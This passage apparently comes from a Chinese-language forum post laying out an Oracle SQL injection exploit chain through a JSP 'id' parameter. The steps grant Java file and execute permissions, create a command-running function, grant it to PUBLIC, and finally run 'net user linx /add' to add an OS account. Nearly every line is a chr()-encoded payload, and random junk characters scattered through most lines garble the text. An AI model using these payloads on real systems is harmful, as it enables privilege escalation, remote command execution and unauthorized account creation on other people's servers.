chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
L* o, }; ]5 q; F' z3 jchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
B: p, s. f- J6 V. y9 |, J1 Rchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||/ |" G# U: `, d% T+ ~" s b' _
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||) D* i( A" n$ u9 [6 l7 M
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
1 t7 K; U% O' q2 T. K9 Fchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||6 n5 g- X! O6 @
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
, W) h& R# [9 }) qchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
* x/ l" Z i' rchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
9 a5 Y8 u7 E' j! zchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||% C1 i; E. @7 d3 w4 f
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
: l5 r2 |# a% R+ p' Mchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||7 B4 i: v7 \/ f
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||) a# Y' C2 Z8 }' O+ p
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
0 x$ K0 V' s6 _6 I,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
& y* G# w8 T" {+ n, o4 R5 f( e$ W
)
8 k& W1 J8 M/ w9 t5 L# a
) g: _4 c* i! i3 e# c) J( }; j------------------------------2 O }* ^7 E+ x! l* e) J3 _$ Y
- H5 r+ A2 ]- C8 E3 c: J: p5 f2.赋Java权限3 s8 A, `1 m0 n
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
# Y. T% o7 M+ ?$ n
4 V3 q% ]$ G1 z9 `9 sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
$ I0 u/ e+ g, vchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||, I" G" B) I. A! D6 ~7 g4 T1 r
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 ^. N2 ]7 _" W- e3 w( C6 Nchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||: d; w: a+ u' s/ o
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
$ D1 {7 k& f+ w" F4 n& z _9 ichr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
& n2 G3 ~' S% v' ^/ a0 A; S7 \8 Cchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||& x' g* ]2 X# l$ D; m I5 i
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||9 `6 j1 X/ z4 z# O% S, f# `
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||" q2 x* G3 {" C$ |6 y9 q" }- Y& U
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)5 r* u. S G- w4 A) R7 |
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
5 {7 g+ u3 m# g" q8 q8 _3 X& a/ C6 q% k3 X
); y: I6 i+ @% h; I
/ ?# H8 x. ^' i0 m+ |readfile函数的ascii版就不写了,见谅。1 U9 N, ~: J* m: C% s
! y- ~8 x: g" Z3.创建函数( |# E' m# c6 o9 q8 |
% g6 G$ Z L2 v {' Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),9 ?) K' i b7 z* E+ h8 J5 e
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
1 M3 `' u2 L9 k! D' F: E6 W* qchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
1 ]$ }& a" H& W$ F) t% s& m( vchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% [: ]8 V. h" U1 z' k8 ^* J a0 C
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
4 ~5 {0 e1 ^ I& [chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||5 ~7 u$ M! ? u4 \1 N/ }5 L
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
) b5 j. n. d' R7 Uchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
4 W$ {! o5 w: m) Gchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||* w. b0 G( |4 h& I
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||4 [% Z0 g( a# n) a
chr(59)||chr(45)||chr(45)
5 c, s8 _% h$ s! |- U- i,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
" D* P9 B8 Z6 D3 _# e2 D1 b8 _9 M! X9 y/ X( \2 ?
5 L: ~' I: z7 b; R& |
( g5 p, v# X& g: a- T* F0 C# {) ~4.赋public执行函数的权限. Y, }& x* w8 ]
: j4 @0 t: L: O1 k1 g) @# [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( Y7 L! ?6 X4 z, ~$ d& y. m" l) p
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||) J/ l- e- G* ]8 I( A
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
; d. p3 s$ p8 M) P% Tchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
: R" |7 N: U+ ~& y; r! ?% wchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||. K) I$ n& j. A9 D* x- y* D9 F
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
8 B; g. j/ k1 R, |) B( E& Ochr(59)||chr(45)||chr(45)7 ?5 M- v8 U' P7 Q, W
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual% }' z1 z" u2 u/ w
! Q% l; J, R8 d3 y/ M3 R* f
& k$ f+ _! ]" C4 B, X
|- v" X' ^8 f! A3 Q( E+ J
5.执行命令:
$ U! k5 `) G! K% h( x/ s; T& r( l+ \& B; q/ W# u
/xxx.jsp?id=1 and chr(49)<>chr(32)||(; R' [* d4 @+ i: C
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
% x8 A7 ^9 ?& [8 ]3 `)
6 [( [( e1 I: T; h
6 V* k9 O/ ]% g U+ p即0 v- I7 t, m0 V% X) r6 ?) e% C
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
$ z- `- Z3 w0 P1 c1 |select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
( x( Q4 y6 _7 k4 s9 J! P9 u' A4 Z: F)- m: R: P+ _' Y( G: ]9 U1 P( y6 D
|